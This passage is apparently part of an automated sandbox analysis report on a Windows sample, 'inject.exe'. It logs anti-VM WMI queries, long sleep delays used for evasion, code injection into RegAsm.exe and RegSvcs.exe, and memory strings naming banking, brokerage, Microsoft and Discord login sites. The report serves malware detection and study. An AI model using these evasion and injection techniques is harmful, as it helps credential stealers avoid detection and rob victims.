Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 2352, type: MEMORYSTR

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00301290		22_2_00301290
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00301280		22_2_00301280

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\inject.exe	Memory allocated: 2590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory allocated: 27F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 5000000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\inject.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7731	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2025	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6553
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3179

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	API coverage: 8.8 %

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 22_2_00301280

22_2_00301280

Source: C:\Users\user\Desktop\inject.exe TID: 6984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3180	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe TID: 1868	Thread sleep time: -40000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep count: 6553 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2292	Thread sleep count: 3179 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4592	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	5_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00317978 FindFirstFileW,FindFirstFileW,free,	9_2_00317978
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0030A151 FindFirstFileExW,	22_2_0030A151

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 9_2_0031881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

9_2_0031881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 9_2_0031B5E0 GetSystemInfo,

9_2_0031B5E0

Source: C:\Users\user\Desktop\inject.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Thread delayed: delay time: 40000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Vmwaretrat
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E02000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000016.00000002.2283720664.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Vmwareuser
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegAsm.exe, 00000003.00000002.2238103490.0000000005A39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\.
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 00000017.00000002.2334895833.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Vmtoolsd
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegAsm.exe, 00000003.00000002.2228687416.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegAsm.exe, 00000003.00000002.2216914083.000000000327B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_06CF8B90 LdrInitializeThunk,

3_2_06CF8B90

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 22_2_003020FF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

22_2_003020FF

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

5_2_00402665

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0030B52D mov eax, dword ptr fs:[00000030h]		22_2_0030B52D
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00306B54 mov eax, dword ptr fs:[00000030h]		22_2_00306B54

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 22_2_0030BFD4 GetProcessHeap,

22_2_0030BFD4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_003020FF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_003020FF
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00302262 SetUnhandledExceptionFilter,	22_2_00302262
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00305E89 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_00305E89
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00302375 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00302375

Source: C:\Users\user\Desktop\inject.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\inject.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\inject.exe

